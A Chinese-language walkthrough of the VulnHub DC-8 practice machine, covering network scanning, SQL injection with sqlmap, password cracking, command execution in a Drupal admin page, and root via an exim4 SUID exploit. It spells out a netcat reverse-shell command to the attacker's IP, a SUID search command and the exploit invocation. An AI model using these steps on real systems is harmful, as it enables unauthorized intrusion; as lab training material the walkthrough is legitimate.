0x00 环境搭建
靶机地址:http://www.vulnhub.com/entry/dc-8,367/
下载之后用vmware打开即可,使用桥接模式。
开机后搭建完成:
0x01 主机端口探测
用arp-scan -l
探测内网存活主机,再用nmap -sV -p- ip
来探测端口:
发现开启了80端口(HTTP服务)和22端口(SSH服务)
0x02 web渗透
访问80端口,又发现是一个 Drupal 搭建的站:
xray 扫出个注入:
丢导sqlmap跑出用户信息:
用john
命令破解出john用户的密码:
登录web后台:
0x03 RCE反弹shell
后台修改页面发现可以执行命令:
命令执行成功:
攻击机监听,构造payload反弹shell:nc -e /bin/bash 192.168.0.110 4444
0x04 exim4命令提权
查看版本信息:
查找设置了SUID的文件:find / -perm -u=s -type f 2>/dev/null
查看exim
版本信息:
exim
命令在使用时具有root权限,查找相关exp:
将exp上传导靶机:
赋予执行权限,执行报错:
查询得知是因为这个shell是在windows下编写的,所以换行格式与Linux不同,运行后无法解析,要将46996.sh
文件转换成unix
下可执行文件即可正常运行:
vim 46996.sh
:set ff? # 可以看到 dos 或 unix 的字样
:set ff=unix # 强化之转为unix格式,然后存盘输出
在攻击机处理好脚本文件重新上传导靶机并赋予可执行权限,执行:./46996.sh -m natcat
在根目录找到flag:
总结
整体流程如下:
主机发现 => 端口扫描 => 访问web服务 => sql注入拿到用户信息 => john破解密码 => 后台RCE反弹shell => 查找设置SUID文件 => 收集版本信息 => 找对应exp提权 => 找到flag
linux 里面有个 suid 权限执行二进制文件,这个权限涉及的命令权限都很大。在找对应exp提权时,版本信息收集一定要全面